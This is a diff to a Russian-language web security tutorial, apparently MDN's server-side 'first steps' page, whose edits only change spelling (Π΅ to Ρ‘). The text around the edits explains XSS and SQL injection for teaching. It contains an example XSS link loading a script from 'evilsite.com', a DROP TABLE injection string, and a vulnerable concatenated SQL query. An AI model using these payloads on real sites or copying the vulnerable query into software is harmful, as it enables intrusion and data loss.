- <li><em>ΠžΡ‚Ρ€Π°ΠΆΠ΅Π½Π½Π°ΡΒ </em>XSS-ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаСтся Π½Π° сСрвСр, <em>Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ</em> ΠΈ <em>Π±Π΅Π· ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ</em> возвращаСтся для отобраТСния Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π›ΡŽΠ±ΠΎΠΉ скрипт Π² исходном ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅ запустится ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π½ΠΎΠ²ΠΎΠΉ страницы. НапримСр, рассмотрим строку поиска ΠΏΠΎ сайту, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ поисковыС слова Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ URL, ΠΈ эти слова ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ вмСстС с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌΠΈ. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠΈΡΠΊΠΎΠ²ΡƒΡŽ ссылку, которая Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ врСдоносный скрипт Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β <code>http://mysite.com?q=beer&lt;script%20src="http://evilsite.com/tricky.js"&gt;&lt;/script&gt;</code>) ΠΈ ΠΏΠ΅Ρ€Π΅ΡΠ»Π°Ρ‚ΡŒ Π΅Π³ΠΎΒ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅. Если Ρ†Π΅Π»Π΅Π²ΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ½Π΅Ρ‚Β ΠΏΠΎ этой «интСрСсной ссылкС», Ρ‚ΠΎ скрипт выполнится при ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² поиска. Как ΠΌΡ‹ ΡƒΠΆΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ, Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΒ  Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌΒ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Β Π²ΡΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡƒΡŽ Π΅ΠΌΡƒ для Π²Ρ…ΠΎΠ΄Π° Π½Π° сайт Π² качСствС Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΏΠΎΠΊΡƒΠΏΠΎΠΊ ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈΠ»ΠΈ получСния Π΅Π³ΠΎ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</li>
+ <li><em>ΠžΡ‚Ρ€Π°ΠΆΡ‘Π½Π½Π°ΡΒ </em>XSS-ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаётся Π½Π° сСрвСр, <em>Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ</em> ΠΈ <em>Π±Π΅Π· ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ</em> возвращаСтся для отобраТСния Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π›ΡŽΠ±ΠΎΠΉ скрипт Π² исходном ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π΅ запустится ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ Π½ΠΎΠ²ΠΎΠΉ страницы. НапримСр, рассмотрим строку поиска ΠΏΠΎ сайту, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ поисковыС слова Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ ΠΊΠ°ΠΊ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ URL, ΠΈ эти слова ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ вмСстС с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌΠΈ. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠΎΠΈΡΠΊΠΎΠ²ΡƒΡŽ ссылку, которая Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ врСдоносный скрипт Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:Β <code>http://mysite.com?q=beer&lt;script%20src="http://evilsite.com/tricky.js"&gt;&lt;/script&gt;</code>) ΠΈ ΠΏΠ΅Ρ€Π΅ΡΠ»Π°Ρ‚ΡŒ Π΅Π³ΠΎΒ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅. Если Ρ†Π΅Π»Π΅Π²ΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΊΠ»ΠΈΠΊΠ½Π΅Ρ‚Β ΠΏΠΎ этой «интСрСсной ссылкС», Ρ‚ΠΎ скрипт выполнится при ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² поиска. Как ΠΌΡ‹ ΡƒΠΆΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ, Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΒ  Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌΒ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Β Π²ΡΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡƒΡŽ Π΅ΠΌΡƒ для Π²Ρ…ΠΎΠ΄Π° Π½Π° сайт Π² качСствС Ρ†Π΅Π»Π΅Π²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ ΠΏΠΎΠΊΡƒΠΏΠΎΠΊ ΠΎΡ‚ ΠΈΠΌΠ΅Π½ΠΈΒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΈΠ»ΠΈ получСния Π΅Π³ΠΎ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</li>
<li>
<p><span class="tlid-translation translation" lang="ru">ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Π°Ρ ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ XSS Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° врСдоносный скрипт хранится Π½Π° Π²Π΅Π±-сайтС, Π° Π·Π°Ρ‚Π΅ΠΌ снова отобраТаСтся Π±Π΅Π· ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³Π»ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π΅Π³ΠΎ нСвольно.<br>
- НапримСр, доска обсуТдСний, которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ, содСрТащиС Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ HTML, ΠΌΠΎΠΆΠ΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ врСдоносный скрипт ΠΎΡ‚ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°. Когда ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ, скрипт выполняСтся ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡƒΡŽ для доступа ΠΊ ΡƒΡ‡Π΅Ρ‚Π½ΠΎΠΉ записи ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Атака Ρ‚Π°ΠΊΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ популярна ΠΈ ΠΌΠΎΡ‰Π½Π°, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°ΠΆΠ΅ Π½Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ прямого ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ ΠΊ ΠΆΠ΅Ρ€Ρ‚Π²Π°ΠΌ.<br>
+ НапримСр, доска обсуТдСний, которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ, содСрТащиС Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹ΠΉ HTML, ΠΌΠΎΠΆΠ΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ врСдоносный скрипт ΠΎΡ‚ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°. Когда ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ, скрипт выполняСтся ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡƒΡŽ для доступа ΠΊ ΡƒΡ‡Ρ‘Ρ‚Π½ΠΎΠΉ записи ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Атака Ρ‚Π°ΠΊΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° Ρ‡Ρ€Π΅Π·Π²Ρ‹Ρ‡Π°ΠΉΠ½ΠΎ популярна ΠΈ ΠΌΠΎΡ‰Π½Π°, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄Π°ΠΆΠ΅ Π½Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ прямого ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΡ ΠΊ ΠΆΠ΅Ρ€Ρ‚Π²Π°ΠΌ.<br>
<br>
- Π₯отя Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· запросов POST ΠΈΠ»ΠΈ GET ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнным источником уязвимостСй XSS, Π»ΡŽΠ±Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ уязвимы, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹Π΅ cookie, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ΡΡ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ.<br>
+ Π₯отя Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· запросов POST ΠΈΠ»ΠΈ GET ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённым источником уязвимостСй XSS, Π»ΡŽΠ±Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ уязвимы, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π΄Π°Π½Π½Ρ‹Π΅ cookie, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ, ΠΈΠ»ΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Ρ„Π°ΠΉΠ»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ΡΡ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ.<br>
<br>
ΠΠ°ΠΈΠ»ΡƒΡ‡ΡˆΠ΅ΠΉ Π·Π°Ρ‰ΠΈΡ‚ΠΎΠΉ ΠΎΡ‚ уязвимостСй XSS являСтся ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ любой Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, которая ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ инструкции ΠΏΠΎ запуску ΠΊΠΎΠ΄Π°. Для HTML это Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠ΅ элСмСнты, ΠΊΠ°ΠΊ &lt;script&gt;, &lt;object&gt;, &lt;embed&gt; ΠΈ &lt;link&gt;.<br>
<br>
@@ -71,7 +71,7 @@ original_slug: Learn/Server-side/First_steps/Π’Π΅Π±_Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ
<br>
<span title="">Π’ΠΈΠΏΡ‹ внСдрСния SQL Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ SQL Π½Π° основС ошибок, Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ SQL Π½Π° основС логичСских ошибок ΠΈ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ SQL Π½Π° основС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ.</span><br>
<br>
- <span title="">Π­Ρ‚Π° ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ присутствуСт, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π²Π²ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаСтся Π² Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ SQL, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ смысл ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°.</span> <span title="">НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для пСрСчислСния всСх ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ (userName), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ прСдоставлСно ΠΈΠ· Ρ„ΠΎΡ€ΠΌΡ‹ HTML:</span></span></p>
+ <span title="">Π­Ρ‚Π° ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ присутствуСт, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π²Π²ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ пСрСдаётся Π² Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ SQL, ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ смысл ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°.</span> <span title="">НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для пСрСчислСния всСх ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ (userName), ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ прСдоставлСно ΠΈΠ· Ρ„ΠΎΡ€ΠΌΡ‹ HTML:</span></span></p>
<pre class="brush: sql notranslate">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre>
@@ -80,7 +80,7 @@ original_slug: Learn/Server-side/First_steps/Π’Π΅Π±_Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ
<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>';
</pre>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ создаСт Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ SQL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ удаляСт Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всС Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ userinfo (которая раскрываСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅).</span> <span title="">Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ пСрвая Ρ‡Π°ΡΡ‚ΡŒ Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ тСкста (a ';) Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ исходноС ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅.</span><br>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ создаёт Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ SQL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ удаляСт Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ Π²Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ всС Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ userinfo (которая раскрываСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅).</span> <span title="">Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ пСрвая Ρ‡Π°ΡΡ‚ΡŒ Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ тСкста (a ';) Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ исходноС ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΈΠ΅.</span><br>
<br>
<span title="">Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° Π°Ρ‚Π°ΠΊ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π»ΡŽΠ±Ρ‹Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Π² запрос SQL, Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΈΡ€ΠΎΠ΄Ρƒ запроса.</span> <span title="">Один ΠΈΠ· способов ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это - ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ всС символы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ особоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² SQL.</span></span></p>
@@ -102,16 +102,16 @@ original_slug: Learn/Server-side/First_steps/Π’Π΅Π±_Π‘Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ
<h3 id="ПоддСлка_мСТсайтовых_запросов_CSRF">ПоддСлка мСТсайтовых запросов (CSRF)</h3>
